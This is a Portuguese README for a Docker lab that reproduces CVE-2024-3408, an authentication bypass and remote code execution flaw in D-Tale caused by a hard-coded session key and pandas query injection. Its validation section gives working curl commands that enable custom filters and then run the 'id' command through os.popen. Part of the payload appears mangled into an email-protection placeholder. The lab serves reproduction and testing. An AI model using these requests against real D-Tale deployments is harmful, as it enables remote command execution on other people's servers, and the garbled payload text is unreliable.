CVE-2024-3408 - Bypass de Autenticação e RCE no D-Tale

Ambiente de laboratório reproduzível para CVE-2024-3408, uma vulnerabilidade de bypass de autenticação e execução remota de código no D-Tale.

Vulnerabilidade

Versões do D-Tale até 3.15.1 são vulneráveis devido a:

1. SECRET_KEY fixa ("Dtale") para assinatura de sessão Flask - permite falsificação de cookies de sessão
2. Execução de código via filtros personalizados - o endpoint test-filter usa pandas query, que pode ser abusado para executar código Python arbitrário

CVSS: 9.8 (Crítica)
Afetado: D-Tale <= 3.15.1

Início Rápido

docker compose up -d --build

D-Tale estará disponível em http://localhost:40000

Validação

# Step 1: Enable custom filters
curl -s "http://localhost:40000/dtale/update-settings/1?settings=%7B%22enable_custom_filters%22%3Atrue%7D"
# Expected: {"success":true}

# Step 2: Execute command via pandas query injection
curl -s -G "http://localhost:40000/dtale/test-filter/1" \
  --data-urlencode "[email protected].__import__('os').popen('id').read()"
# Expected: Response contains "uid=" and "gid=" (command output in error message)